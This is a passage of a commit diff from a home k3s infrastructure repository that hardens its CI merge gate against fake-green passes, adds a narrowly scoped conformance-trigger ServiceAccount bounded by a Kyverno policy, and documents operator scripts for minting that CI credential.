human"; that rule rests entirely on `required_approvals: 1` plus a reviewer actually reading the
diff. Another instance of the §2b failure mode — a control believed to exist because a brief said
so. If the policy is intended, it is missing and needs its own change.
And per this repo's own rule: the green `gate` tick is **not** evidence this script works. The
gate never executes `infra/gitea/**`, and the L2/L3 stage skipped. The script remains UNEXECUTED.
+40
View File
@@ -61,5 +61,45 @@ if [ -d "${CONF_ART}/coverage" ]; then
cp -r "${CONF_ART}/coverage/." "${COVERAGE_DIR}/"
fi
# ---------------------------------------------------------------------------------------
# DID IT ACTUALLY RUN? -- the guard without which this stage FAKES A GREEN.
#
# run.sh exits 0 in "scaffold mode" when it cannot reach a cluster: it emits a JUnit file
# whose every testcase is <skipped> and returns success. That is correct FOR run.sh -- an
# honest skip is its documented no-cluster behaviour. It is catastrophic HERE, because
# reaching this point means the environment DECLARED CLUSTER_AVAILABLE=true, and this stage
# would otherwise print "L2/L3 conformance passed" over 54 tests that never executed.
#
# MEASURED 2026-09-29, before this guard existed:
# CLUSTER_AVAILABLE=true ./ci/conformance.sh -> rc=0
# "[junit] wrote skipped JUnit for 54 scaffolded test(s)"
# "[ ok ] L2/L3 conformance passed for touched subset"
# One Gitea variable away from a fake green on an enforcing merge gate. That is exactly the
# HARD RULE 4 violation this repo's whole gate design exists to prevent, and nothing caught
# it because nobody had ever set the variable.
#
# A skip while a cluster is DECLARED is a contradiction: either the declaration is wrong or
# the cluster is unreachable. The merge-gate decision matrix already says this case is BLOCK
# ("conformance skipped while CLUSTER_AVAILABLE=true -> BLOCK (it should have run)"). This
# makes the stage itself honour that instead of reporting a pass.
JUNIT="${CONF_ART}/report.junit.xml"
if [ -f "$JUNIT" ]; then
total="$(grep -o '<testcase' "$JUNIT" | wc -l | tr -d ' ')"
skipped="$(grep -o '<skipped' "$JUNIT" | wc -l | tr -d ' ')"
if [ "${total:-0}" -gt 0 ] && [ "${skipped:-0}" -ge "${total:-0}" ]; then
err "CLUSTER_AVAILABLE=true, but the L2/L3 suite SKIPPED every one of its ${total} tests"
err " (scaffold mode -- run.sh could not reach a cluster and exited 0)."
err " This stage will NOT report that as a pass. Either the cluster is unreachable from"
err " this runner, or CLUSTER_AVAILABLE is set when it should not be."
err " NOTE: the in-cluster trigger path is still UNIMPLEMENTED -- see"
err " docs/plans/l2-l3-conformance-ci-wiring.md. Setting CLUSTER_AVAILABLE=true does not"
err " by itself make L2/L3 run; it only makes this stage attempt a LOCAL run that the CI"
err " runner has no credential for (automountServiceAccountToken: false, by design)."
summary "- conformance-l2-l3: **BLOCKED — declared available but every test skipped** (not a pass)"
exit 1
fi
log "L2/L3 executed: ${total} testcase(s), ${skipped} skipped"
fi
ok "L2/L3 conformance passed for touched subset"
summary "- conformance-l2-l3: **passed**"
+8 -2
View File
@@ -56,14 +56,20 @@ log "Stage: Gitea platform settings match the declaration"
DECL="${REPO_ROOT}/infra/gitea/expected-branch-protection.json"
GITEA_URL="${GITEA_URL:-https://gitea.home.keithjackson.dev}"
GITEA_REPO="${GITEA_REPO:-Home-Network/home-network-k3s-impl}"
TOKEN="${GITEA_SETTINGS_TOKEN:-}"
# SETTINGS_API_TOKEN, not GITEA_SETTINGS_TOKEN. Gitea RESERVES the `GITEA_` prefix for
# secret names and rejects a PUT of one with HTTP 400 "invalid secret name" — the same way
# GitHub reserves `GITHUB_`. The original name could therefore never be stored, and because
# infra/gitea/set-ci-token.sh sent that PUT to /dev/null and printed "stored" unconditionally,
# it looked like it had worked. A token was minted, no secret existed, and this stage would
# have skipped forever. GITEA_SETTINGS_TOKEN is still honoured for a local run.
TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
[ -f "$DECL" ] || die "declaration missing: ${DECL}"
require_tool jq
require_tool curl
if [ -z "$TOKEN" ]; then
skip "GITEA_SETTINGS_TOKEN is not set — cannot read the live Gitea rule."
skip "SETTINGS_API_TOKEN is not set — cannot read the live Gitea rule."
skip " Branch protection and runner registration are therefore UNVERIFIED. They were"
skip " wrong, unnoticed, for a month (2026-09-29). Wire it: infra/gitea/set-ci-token.sh"
summary "- gitea-settings: **SKIPPED — no token** (protection + runners UNVERIFIED; not a pass)"
+28 -3
View File
@@ -79,12 +79,37 @@ else
cp -a "${KYVERNO_POLICY_DIR}/." "$l0_render/"
find "$l0_render" -type f -name '*.yaml' -print0 \
| xargs -0 sed -i "s/\${KYVERNO_VALIDATION_ACTION}/${KYVERNO_VALIDATION_ACTION}/g"
if kyverno test "$l0_render"; then
ok "Kyverno L0 policy tests passed"
summary "- kyverno-l0: **passed**"
# DO NOT TRUST `kyverno test`'s EXIT CODE ALONE. A policy that fails to LOAD (schema
# error, bad match block, malformed JMESPath) does not fail the run: every result row
# becomes `Skip / Invalid Policy` and the CLI still prints "N tests passed" and exits 0.
#
# MEASURED 2026-09-29 while authoring conformance-trigger-job-shape: the policy had its
# `subjects` in a separate `match.all` entry from its `resources` — a schema error. All 9
# rows came back `Skip / Invalid Policy`, and the summary read:
# Test Summary: 9 tests passed and 0 tests failed
# `kyverno apply` on the same file reported `error: 1` and named the path. So the gate's
# own policy stage would have certified a SECURITY POLICY THAT DOES NOT LOAD as green.
#
# This is not specific to that policy: a typo in restrict-host-namespaces or
# secret-provenance would silently disable it and the gate would stay green. Scan the
# output for the load failure the exit code hides.
l0_kout="$(mktemp)"
if kyverno test "$l0_render" 2>&1 | tee "$l0_kout"; then
if grep -q 'Invalid Policy' "$l0_kout"; then
err "Kyverno reported 'Invalid Policy' — one or more policies FAILED TO LOAD and were"
err " skipped, so their rules were never evaluated. The CLI exits 0 for this; the gate"
err " must not. Run 'kyverno apply <policy> --resource <resources>' for the exact path."
grep -n 'Invalid Policy' "$l0_kout" | head -5 >&2
summary "- kyverno-l0: **FAILED — policy did not load** (Invalid Policy; rules never evaluated)"
rc=1
else
ok "Kyverno L0 policy tests passed"
summary "- kyverno-l0: **passed**"
fi
else
err "Kyverno L0 policy tests failed"; summary "- kyverno-l0: **FAILED**"; rc=1
fi
rm -f "$l0_kout"
rm -rf "$l0_render"
fi
+31
View File
@@ -0,0 +1,31 @@
---
# Conformance identities (ns + conformance-runner + conformance-trigger RBAC).
#
# NON-GATING, exactly like apps-vms: `wait: false` and its own Kustomization, so a conformance
# identity can never gate the platform or app tiers. A test harness that stalls the estate it is
# meant to verify is worse than no harness.
#
# dependsOn platform-config only — it needs nothing from the app waves, and nothing in the app
# waves needs it.
#
# NOTE: this reconciles RBAC that is INERT until
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is also enforcing. That policy
# ships in the `platform` tier, which reconciles before this. Do not reorder them so that the
# trigger identity can exist while the policy bounding it does not.
apiVersion: kustomize.toolkit.fluxcd.io/v1
kind: Kustomization
metadata:
name: conformance
namespace: flux-system
spec:
interval: 10m
retryInterval: 2m
timeout: 5m
prune: true
wait: false
dependsOn:
- name: platform-config
sourceRef:
kind: GitRepository
name: flux-system
path: ./conformance/incluster
+1
View File
@@ -33,6 +33,7 @@ resources:
- apps-wave-2.yaml # Flux Kustomization -> ./apps/wave-2 (dependsOn apps-wave-1)
# VM tier (KubeVirt) — non-gating (wait:false), separate lifecycle from the app waves.
- apps-vms.yaml # Flux Kustomization -> ./apps/vms (dependsOn platform-config)
- conformance.yaml # Flux Kustomization -> ./conformance/incluster (non-gating; R-SEC-02 trigger identity)
# oauth2-proxy forward-auth — POST-platform tier (dependsOn platform-config, wait:false). A leaf
# service that needs Keycloak + trusted TLS + split-horizon DNS must NOT sit in the gating
# `platform` tier, where it self-gated its own dependencies into a cold-start deadlock (twice).
+14
View File
@@ -0,0 +1,14 @@
# Reconciled by clusters/base/conformance.yaml (non-gating, wait:false).
#
# RBAC ONLY. chainsaw-job.yaml is deliberately NOT listed: that manifest is a TEMPLATE the CI
# trigger renders and submits per run (with the commit SHA and the touched --requirements). Flux
# reconciling it would create a permanent Job object and fight the trigger for ownership.
#
# The identities here are inert without
# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which is what actually bounds
# the trigger to the committed run shape. RBAC is the necessary half, that policy the sufficient
# half — see the header of rbac.yaml.
apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization
resources:
- rbac.yaml
+65
View File
@@ -174,3 +174,68 @@ subjects:
- kind: ServiceAccount
name: conformance-runner
namespace: conformance
---
# =============================================================================
# THE TRIGGER IDENTITY — deliberately NOT conformance-runner.
#
# THE ESCALATION THIS EXISTS TO CLOSE (docs/plans/l2-l3-conformance-ci-wiring.md §4):
# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. So any principal
# that can `create jobs` in this namespace can create a Job with
# `serviceAccountName: conformance-runner` and an ARBITRARY command — i.e. run arbitrary
# code with the runner's privileges (nodes/patch, pods/exec, namespaces/patch, jobs).
# A CI-held token with plain `create jobs` therefore IS the privileged identity, no matter
# how narrow its own RBAC looks. That would break R-SEC-02 ("CI holds no broad cluster
# access") while appearing to satisfy it.
#
# RBAC ALONE CANNOT FIX THIS. The real boundary is the admission policy
# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which admits Jobs from
# THIS ServiceAccount only when they match the committed conformance shape. This Role is
# the necessary half; that policy is the sufficient half. Neither works alone — do not
# grant this Role without that policy reconciled and ENFORCING.
#
# Namespaced Role, bound only in `conformance`. No ClusterRole, deliberately.
# =============================================================================
apiVersion: v1
kind: ServiceAccount
metadata:
name: conformance-trigger
namespace: conformance
labels:
app.kubernetes.io/part-of: conformance
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: conformance-trigger
namespace: conformance
labels:
app.kubernetes.io/part-of: conformance
rules:
# Create the run, and watch it to completion.
- apiGroups: [batch]
resources: [jobs]
verbs: [create, get, list, watch]
# Read the Job's pod and its log — this is how results come back. Deliberately NOT
# pods/exec and NOT `kubectl cp`: the run tars its artifacts to stdout and CI decodes
# them from the log, so no execution channel into the runner pod is ever granted.
- apiGroups: [""]
resources: [pods, pods/log]
verbs: [get, list, watch]
# NOTHING ELSE. In particular NO delete on jobs (a trigger that can delete can hide a
# failed run), no secrets, no configmaps, no exec, no create on pods.
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: conformance-trigger
namespace: conformance
labels:
app.kubernetes.io/part-of: conformance
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: conformance-trigger
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
@@ -0,0 +1,42 @@
# =============================================================================
# L0 STATIC — every authored admission policy is actually APPLIED (R-SEC-01, R-SEC-02)
# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
#
# WHY THIS EXISTS. `kyverno test` proves a policy is CORRECT. Nothing proved it was DEPLOYED.
# platform/kyverno/ holds three lists and only platform-config/kustomization.yaml applies
# anything; the other two are a reference copy and a namespace+HelmRelease render root. On
# 2026-09-29 the R-SEC-02 boundary policy was added to the reference copy: it parsed, its
# kyverno test passed, the gate passed, Flux reported the tier Ready at the new revision — and
# the cluster ran the conformance-trigger ServiceAccount with nothing bounding it.
#
# WHOLE-REPO SCOPE, DELIBERATELY. The failure mode is a policy that is present but wired
# nowhere, which by definition touches no requirement the diff attributes. A path-scoped run
# would have skipped this check on the very commit that introduced the defect.
# =============================================================================
apiVersion: chainsaw.kyverno.io/v1alpha1
kind: Test
metadata:
name: admission-policies-actually-applied
labels:
conformance.home.k3s/R-SEC-01: "true"
conformance.home.k3s/R-SEC-02: "true"
annotations:
conformance.home.k3s/requirements: "R-SEC-01,R-SEC-02"
conformance.home.k3s/layer: "L0"
conformance.home.k3s/scope: "whole-repo"
conformance.home.k3s/safety-critical: "false"
conformance.home.k3s/executable: "true"
conformance.home.k3s/intent: >-
Every ClusterPolicy authored under platform/kyverno/ is either referenced by
platform-config/kustomization.yaml (so Flux applies it) or is a documented CI-only
exemption that is genuinely not applied — so a policy cannot be authored, tested,
green, and absent from the cluster.
spec:
steps:
- name: every-authored-policy-is-applied-or-documented-ci-only
description: >-
Enumerate the ClusterPolicy files under platform/kyverno/ and assert each is wired
into the Kustomization that actually applies Kyverno CRs, or exempted with a reason.
try:
- script:
content: bash ./check.sh
@@ -0,0 +1,120 @@
#!/usr/bin/env bash
# =============================================================================
# L0 static check (offline, no cluster) — admission-policies-actually-applied
# Serves: R-SEC-01, R-SEC-02 (admission enforcement is only real if it is APPLIED)
#
# WHY THIS EXISTS — a policy that ships green and never reaches the cluster.
#
# platform/kyverno/ holds THREE lists, and only one of them applies anything:
# 1. platform/kyverno/admission/kustomization.yaml — reference only. Its own sibling says
# "kept as reference; THIS file is the buildable render root".
# 2. platform/kyverno/kustomization.yaml — that render root: namespace +
# HelmRelease ONLY. It explicitly notes the ClusterPolicies are applied elsewhere.
# 3. platform-config/kustomization.yaml — THE ONE. Kyverno CRs go here because
# they need the CRDs from the HelmRelease in (2), so they reconcile a tier later.
#
# On 2026-09-29 a ClusterPolicy (conformance-trigger-job-shape, the R-SEC-02 boundary bounding
# what the conformance CI trigger may create) was added to (1). Everything went green: the file
# parsed, `kyverno test` exercised it BY PATH and passed, the gate passed, Flux reported
# `platform` Ready at the new revision — and the policy was never in any applied set. The
# cluster ended up running the conformance-trigger ServiceAccount with NOTHING bounding it,
# which is precisely the state that identity's own RBAC header says must never exist.
#
# Nothing could have caught it. `kyverno test` proves a policy is CORRECT, not that it is
# DEPLOYED. This check asserts the second thing.
#
# GIVEN the repository as git tracks it,
# WHEN every file under platform/kyverno/ that declares a ClusterPolicy is enumerated,
# THEN each one is either referenced by platform-config/kustomization.yaml (so Flux applies
# it), or named in CI_ONLY below with a reason — and CI_ONLY itself may not name a
# policy that IS applied, so the exemption list cannot rot into a lie either way.
# =============================================================================
set -euo pipefail
DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
ROOT="$(cd "${DIR}/../../../.." && pwd)" # repo root
exec python3 - "$ROOT" <<'PY'
import sys, subprocess
from pathlib import Path
ROOT = Path(sys.argv[1])
FAILURES, CHECKS = [], 0
def check(cond, desc):
global CHECKS
CHECKS += 1
if not cond:
FAILURES.append(desc)
# Policies authored for the CI L0 gate that are deliberately NOT applied in-cluster. Each needs
# a reason, and each is asserted BELOW to really be absent from the applied set — an exemption
# that silently starts being applied is as much a lie as one that silently stops.
CI_ONLY = {
"disallow-plaintext-secrets":
"CI-only by design: it requires a top-level `sops` block, which is IMPOSSIBLE at "
"admission because Flux decrypts before the Secret reaches the API server. Its "
"in-cluster counterpart is admission/secret-provenance.yaml.",
}
tracked = subprocess.run(["git", "ls-files", "-z", "--", "platform/kyverno/**/*.yaml",
"platform/kyverno/*.yaml"],
cwd=ROOT, capture_output=True, text=True, check=True)
files = [ROOT / p for p in tracked.stdout.split("\0") if p]
# A ClusterPolicy file, identified without a YAML parse of every doc: cheap and sufficient.
policies = {}
for f in files:
try:
txt = f.read_text()
except Exception:
continue
if "kind: ClusterPolicy" not in txt:
continue
for line in txt.splitlines():
st = line.strip()
if st.startswith("name:") and " name:" in line:
policies[f.relative_to(ROOT).as_posix()] = st.split("name:", 1)[1].strip()
break
check(len(policies) >= 6,
f"(0) the scan found {len(policies)} ClusterPolicy file(s) under platform/kyverno/ — "
f"too few means the scan broke, and every assertion below would be vacuous")
applied_txt = (ROOT / "platform-config" / "kustomization.yaml").read_text()
unapplied, wrongly_exempt = [], []
for rel, name in sorted(policies.items()):
# platform-config references these as ../platform/kyverno/...
referenced = rel in applied_txt or rel.replace("platform/", "../platform/", 1) in applied_txt
if name in CI_ONLY:
if referenced:
wrongly_exempt.append(f"{name} ({rel}) is listed CI_ONLY but IS applied by platform-config")
elif not referenced:
unapplied.append(f"{name} ({rel})")
check(not unapplied,
f"(1) every in-cluster ClusterPolicy is referenced by platform-config/kustomization.yaml "
f"— an unreferenced policy is authored, tested, green, and NEVER APPLIED {unapplied if unapplied else ''}")
check(not wrongly_exempt,
f"(2) no CI_ONLY exemption names a policy that IS applied — a stale exemption hides a "
f"real deployment {wrongly_exempt if wrongly_exempt else ''}")
for name, reason in CI_ONLY.items():
check(bool(reason.strip()),
f"(3) CI_ONLY['{name}'] carries a reason — an unexplained exemption is how this "
f"list stops being reviewable")
check(CHECKS >= 4,
f"only {CHECKS} assertions ran — the check degenerated to a near-no-op")
if FAILURES:
print(f"CHECK FAIL (admission-policies-actually-applied): {len(FAILURES)} of {CHECKS} assertions failed",
file=sys.stderr)
for f in FAILURES:
print(f" - {f}", file=sys.stderr)
raise SystemExit(1)
print(f"check OK: admission-policies-actually-applied — {CHECKS} assertions; "
f"{len(policies)} ClusterPolicy file(s), {len(policies) - len(CI_ONLY)} applied by "
f"platform-config, {len(CI_ONLY)} CI-only with reasons. Proves policies are DEPLOYED, "
f"not that they are correct — `kyverno test` is what proves correctness.")
PY
@@ -216,6 +216,20 @@ def is_literal_base(host: str) -> bool:
DELIVERY_ROOTS = ("apps", "platform", "platform-config", "platform-config-cdi",
"runbooks", "clusters", "bootstrap", "catalog")
# NARROW EXEMPTION to (0), for reconciled trees that deliberately serve NOTHING.
# `conformance/incluster` (the L2/L3 runner + CI-trigger identities, R-SEC-02) is reconciled
# by clusters/base/conformance.yaml but contains only a Namespace, ServiceAccounts, RBAC and
# an admission-bounded Job template. Adding "conformance" to DELIVERY_ROOTS instead would be
# wrong for the reason stated above: it would sweep in this harness's synthetic fixture
# routes and make (8) demand the operator's dashboard link them.
#
# THE EXEMPTION POLICES ITSELF. An unchecked allowlist is how (0) would rot into a fail-open —
# add a tree here, later put an HTTPRoute in it, and the forward direction goes quietly green
# on a hidden service. So each exempted tree is ASSERTED below to declare no route and no
# hostname-publishing Service. If that ever stops being true the check fails and the tree must
# become a real delivery root.
NON_SERVING_RECONCILED = ("conformance/incluster",)
def tracked_yaml() -> list[Path]:
out = subprocess.run(["git", "ls-files", "-z", "--", "*.yaml", "*.yml"],
@@ -262,12 +276,31 @@ flux_ks = [(p, d) for p, d in docs_all()
# a Kustomization declared elsewhere); they name no source and reconcile nothing, so requiring
# a path of them would fail on a file that is correct.
reconcilers = [(p, d) for p, d in flux_ks if (d.get("spec", {}) or {}).get("sourceRef")]
def _reconciled_path(d):
return (d.get("spec", {}) or {}).get("path", "").lstrip("./").rstrip("/")
unscanned = sorted({
f"{p.relative_to(ROOT)}:{(d.get('spec', {}) or {}).get('path', '') or '(no path)'}"
for p, d in reconcilers
if (d.get("spec", {}) or {}).get("path", "").lstrip("./").split("/")[0]
not in DELIVERY_ROOTS
if _reconciled_path(d).split("/")[0] not in DELIVERY_ROOTS
and _reconciled_path(d) not in NON_SERVING_RECONCILED
})
# The exemption's own guard: an exempted tree must actually serve nothing.
exempt_serving = sorted({
f"{p.relative_to(ROOT)} ({d.get('kind')})"
for p, d in docs_all()
if any(str(p.relative_to(ROOT)).startswith(t + "/") for t in NON_SERVING_RECONCILED)
and (d.get("kind") == "HTTPRoute"
or (d.get("kind") == "Service"
and any("hostname" in str(k).lower()
for k in ((d.get("metadata", {}) or {}).get("annotations", {}) or {}))))
})
check(not exempt_serving,
f"(0b) every NON_SERVING_RECONCILED tree really serves nothing — an exempted tree that "
f"gains a route would hide a service from this check entirely "
f"{exempt_serving if exempt_serving else ''}")
check(len(reconcilers) >= 10 and not unscanned,
f"(0) all {len(reconcilers)} Flux-reconciled path(s) lie inside a scanned root — a "
f"reconciled tree this check does not read is a service it cannot require a link for "
+15 -2
View File
@@ -38,8 +38,21 @@ agents. So the credential model must be decided by the operator before anything
| Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
| Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
**Cluster reality:** the "Phase 0 / no cluster" language in these files is stale — the dev cluster
is LIVE (Phase 6). So `CLUSTER_AVAILABLE` is the only remaining gate, exactly as the blueprint says.
**Cluster reality:** the "Phase 0 / no cluster" language in these files is stale — the cluster is
LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
> **CORRECTION (2026-09-29): `CLUSTER_AVAILABLE` is NOT "the only remaining gate", and setting it
> today is actively DANGEROUS.** Measured: with `CLUSTER_AVAILABLE=true` and no reachable cluster,
> `conformance/run.sh` exits 0 in scaffold mode having marked all 54 tests `<skipped>`, and
> `ci/conformance.sh` then printed `[ ok ] L2/L3 conformance passed for touched subset` — **rc 0, a
> fake green**, on a merge gate that is now an enforcing required status check. The CI runner has
> no cluster credential at all (`automountServiceAccountToken: false`, by design), so the "local
> run" this stage attempts can never succeed; it can only skip and, before the guard added on
> 2026-09-29, lie about it.
>
> `ci/conformance.sh` now BLOCKS (exit 1) when a cluster is declared but every test skipped. **Do
> not set `CLUSTER_AVAILABLE=true` until §3's trigger path actually exists** — the variable does
> not enable L2/L3, it only changes which way this stage fails.
---
+69 -3
View File
@@ -102,7 +102,19 @@ Behaviour, proven by test rather than assumed:
|---|---|---|
| live matches the declaration | 0 | green |
| any key drifted, or no runner online | 1 | **blocks the merge** |
| no `GITEA_SETTINGS_TOKEN`, or Gitea unreachable | 3 | skips **loudly**; never a pass, never a block |
| no `SETTINGS_API_TOKEN`, or Gitea unreachable | 3 | skips **loudly**; never a pass, never a block |
> **The secret is `SETTINGS_API_TOKEN`.** An earlier draft of this table named
> `GITEA_SETTINGS_TOKEN`, which **cannot exist as a Gitea secret at all** — Gitea reserves the
> `GITEA_` prefix and returns HTTP 400 `invalid secret name`. That is the whole 2026-09-29
> inert-detector story, so the wrong name surviving here is worth correcting rather than
> reading past. Measured in `ci/gitea-settings.sh`:
>
> TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
>
> so `GITEA_SETTINGS_TOKEN` is still honoured — but **only as an environment variable for a
> LOCAL run**. It can never be the CI wiring, because the secret that would feed it cannot be
> created. In CI, only `SETTINGS_API_TOKEN` exists.
The skip is deliberately *not* a block: an unwired credential blocking every PR is the
lock-yourself-out failure this repo keeps hitting. Wire the token with `set-ci-token.sh`, confirm
@@ -112,6 +124,59 @@ the stage goes **green on a real PR**, and only then set `REQUIRE_GITEA_SETTINGS
**Changing the declaration is how you change policy.** If the live state is what you now want,
edit this JSON in the same commit — deliberately, in review — rather than letting the two drift.
## `conformance-trigger-kubeconfig.sh` — the narrow L2/L3 trigger credential
Implements `docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 6 (= §5 step 7): mint a
ServiceAccount token for `conformance/conformance-trigger`, wrap **only that token** in a
kubeconfig, store it as the Actions secret `CONFORMANCE_TRIGGER_KUBECONFIG`, and — separately,
and only on request — set `vars.CLUSTER_AVAILABLE=true`.
./infra/gitea/conformance-trigger-kubeconfig.sh --dry-run # measure only; writes nothing
./infra/gitea/conformance-trigger-kubeconfig.sh # mint + store the secret
./infra/gitea/conformance-trigger-kubeconfig.sh --arm-cluster-available # + the variable
Never a cluster-admin kubeconfig, never a copy of the operator's own. The token is never
printed: it goes from the TokenRequest API into a 0600 file, into the request **body file**
(`--data @file`, so not even into `ps`), and nowhere else. The script refuses to run under
`set -x`.
**Its preconditions are split in two, and the split is the point.**
| Class | Checks | Blocks |
|---|---|---|
| **mint-blocking** (cluster) | SA/Role/RoleBinding exist; ClusterPolicy `conformance-trigger-job-shape` is present, `Enforce`, `failurePolicy: Fail`, Ready | the **mint** — nothing is created |
| **arm-blocking** (repo) | digest-pinned `CONFORMANCE_RUNNER_IMAGE`; `chainsaw-job.yaml` has an init-container and the admitted image; `ci/conformance.sh` names the trigger kubeconfig in **code, not a comment** | only `CLUSTER_AVAILABLE` |
Why mint-blocking: Kubernetes puts **no `use` check on a Job's `serviceAccountName`**, so a
token that can `create jobs` in `conformance` can run arbitrary code as the privileged
`conformance-runner` SA. RBAC cannot close that; the Kyverno policy is the boundary. Minting
while it is absent or in `Audit` hands CI the privileged identity, so the script will not do it.
Why arm-blocking is separate: storing the secret before the runner image / Job template / CI
trigger flow exist is harmless (the job is gated off), and is the plan's intended order. So
running this today provisions the secret and then **refuses to arm the variable**, naming the
missing item.
**`CLUSTER_AVAILABLE` is not a "turn conformance on" switch.** Measured 2026-09-29: set with no
trigger path, `run.sh` scaffold-skipped all 54 tests at rc 0 and `ci/conformance.sh` printed
"L2/L3 conformance passed" — a fake green on an enforcing required check. `ci/conformance.sh`
now blocks that case, so arming early does not enable L2/L3; it only breaks every PR. Hence:
`--arm-cluster-available` plus all preconditions green plus a typed confirmation on a TTY, or
nothing happens.
Both writes are verified the way `set-ci-token.sh` learned to: check `%{http_code}` **and**
read the object back. For the secret that proves presence by name only (Gitea never returns
secret values); for the variable it proves the value is exactly `true`, which is what
`gate.yml` compares against.
The token **expires** — it is a TokenRequest token, and the script decodes the JWT `exp` claim
to report the real expiry rather than trusting `--duration` (the API server caps it). Re-run to
rotate. After expiry the trigger gets 401 and the stage fails loudly rather than skipping.
`--server` exists because the embedded API-server URL must be reachable **from the CI runner
pod** — the VIP — which is not necessarily the address your workstation uses. The script
refuses a loopback server outright.
### Why these scripts exist at all, and what is still missing
Gitea's repo settings live in **its own database**, not in anything Flux reconciles or the
@@ -124,8 +189,9 @@ These scripts encode the desired state and can re-assert it; `ci/gitea-settings.
**detector** that turns divergence from a silent, invisible failure into a loud one. It closes the
root cause of the 2026-09-29 session.
It is only as good as its wiring: **until `GITEA_SETTINGS_TOKEN` exists it skips**, and a skipped
detector detects nothing. That is the remaining step.
It is only as good as its wiring: **until `SETTINGS_API_TOKEN` exists it skips**, and a skipped
detector detects nothing. (That secret was stored and verified in PR #15; this sentence predates
it. The name matters — see the note under the behaviour table above.)
## Historical sequence (kept for context)
+575
View File
@@ -0,0 +1,575 @@
#!/usr/bin/env bash
# infra/gitea/conformance-trigger-kubeconfig.sh
#
# OPERATOR script for docs/plans/l2-l3-conformance-ci-wiring.md §3 item 6 (= §5 step 7):
# provision the NARROW CI trigger credential for L2/L3 conformance, and — only when the
# rest of the trigger path actually exists — arm `vars.CLUSTER_AVAILABLE`.
#
# What it does, in order:
# 1. measures the preconditions (cluster-side AND repo-side) instead of assuming them
# 2. mints a bounded-lifetime ServiceAccount token for `conformance-trigger` in ns
# `conformance` (kubectl create token -> TokenRequest API)
# 3. assembles a kubeconfig containing ONLY that token + the cluster CA + the API server
# 4. PROVES the kubeconfig is the narrow identity (auth whoami + an allow/deny matrix)
# 5. stores it as the Gitea Actions repo secret CONFORMANCE_TRIGGER_KUBECONFIG, and
# VERIFIES the store by reading the secret list back
# 6. sets vars.CLUSTER_AVAILABLE=true ONLY under --arm-cluster-available, only with every
# precondition green, and only after a typed confirmation. Otherwise it REFUSES.
#
# NOTHING SECRET IS EVER PRINTED. The token exists in a shell variable and in a 0600 file
# under a 0700 temp dir that is removed on exit; it reaches the Gitea API in a request-body
# FILE (`--data @file`), never in argv, never on stdout. This script prints names, byte
# lengths, HTTP status codes, the token's expiry timestamp, and yes/no authorization answers.
#
# ----------------------------------------------------------------------------------------
# THREE HARD-WON LESSONS THIS SCRIPT IS BUILT AROUND
# ----------------------------------------------------------------------------------------
# 1. GITEA RESERVES THE `GITEA_` PREFIX FOR SECRET NAMES.
# `PUT .../actions/secrets/GITEA_ANYTHING` returns HTTP 400 {"message":"invalid secret
# name"}. That is why set-ci-token.sh stores SETTINGS_API_TOKEN and not
# GITEA_SETTINGS_TOKEN. `CONFORMANCE_TRIGGER_KUBECONFIG` is legal, and is the exact name
# .gitea/workflows/{gate.yml,merge-gate.yaml} already reference — do not "tidy" it.
#
# 2. `curl -sS` EXITS 0 ON AN HTTP ERROR. The first version of set-ci-token.sh sent its PUT
# to /dev/null and printed "stored" unconditionally; the secret never existed and nobody
# knew for hours. So every write here captures `-w '%{http_code}'`, checks it, AND reads
# the object back afterwards. A store is not claimed unless the read-back shows it.
#
# 3. `CLUSTER_AVAILABLE` IS A LOADED GUN — SEE THE 2026-09-29 CORRECTION IN THE PLAN.
# `conformance/run.sh` exits 0 in scaffold mode with all 54 tests `<skipped>` when it
# cannot reach a cluster. Measured on 2026-09-29: with CLUSTER_AVAILABLE=true and no
# trigger path, ci/conformance.sh printed "[ ok ] L2/L3 conformance passed" at rc 0 — a
# FAKE GREEN on an enforcing required status check. ci/conformance.sh now BLOCKS that
# case (exit 1), so today the variable does not enable L2/L3: it only changes which way
# the stage fails. Arming it before §3 items 1-4 land therefore buys nothing and breaks
# every PR. This script refuses to do it.
#
# ----------------------------------------------------------------------------------------
# WHY THE PRECONDITIONS ARE SPLIT INTO TWO CLASSES (deliberate, and load-bearing)
# ----------------------------------------------------------------------------------------
# MINT-BLOCKING (cluster-side). Kubernetes places NO `use` check on a Job's
# `serviceAccountName`, so a token with plain `create jobs` in ns `conformance` can create a
# Job running as the PRIVILEGED `conformance-runner` SA with an arbitrary command. The
# trigger Role is only the necessary half; the sufficient half is the Kyverno ClusterPolicy
# `conformance-trigger-job-shape` (platform/kyverno/admission/), which must be present AND
# Enforce AND Ready. Minting this token while that policy is absent or in Audit hands CI a
# privileged identity. So those checks block the MINT itself — nothing is created if they
# fail. (See conformance/incluster/rbac.yaml's trigger header and plan §4.)
#
# ARM-BLOCKING (repo-side). The runner image, the Job template's init-container, and
# ci/conformance.sh's in-cluster trigger flow (plan §3 items 1, 2, 4) are what make a real
# L2/L3 run possible. Storing the kubeconfig secret without them is harmless — the
# conformance job is gated on the variable and never starts — and the plan explicitly lands
# the secret before the switch. So these checks block ONLY the variable.
#
# Net effect: you can safely run this script today to provision the secret. It will then
# REFUSE to arm the variable, and tell you exactly which repo-side item is missing.
#
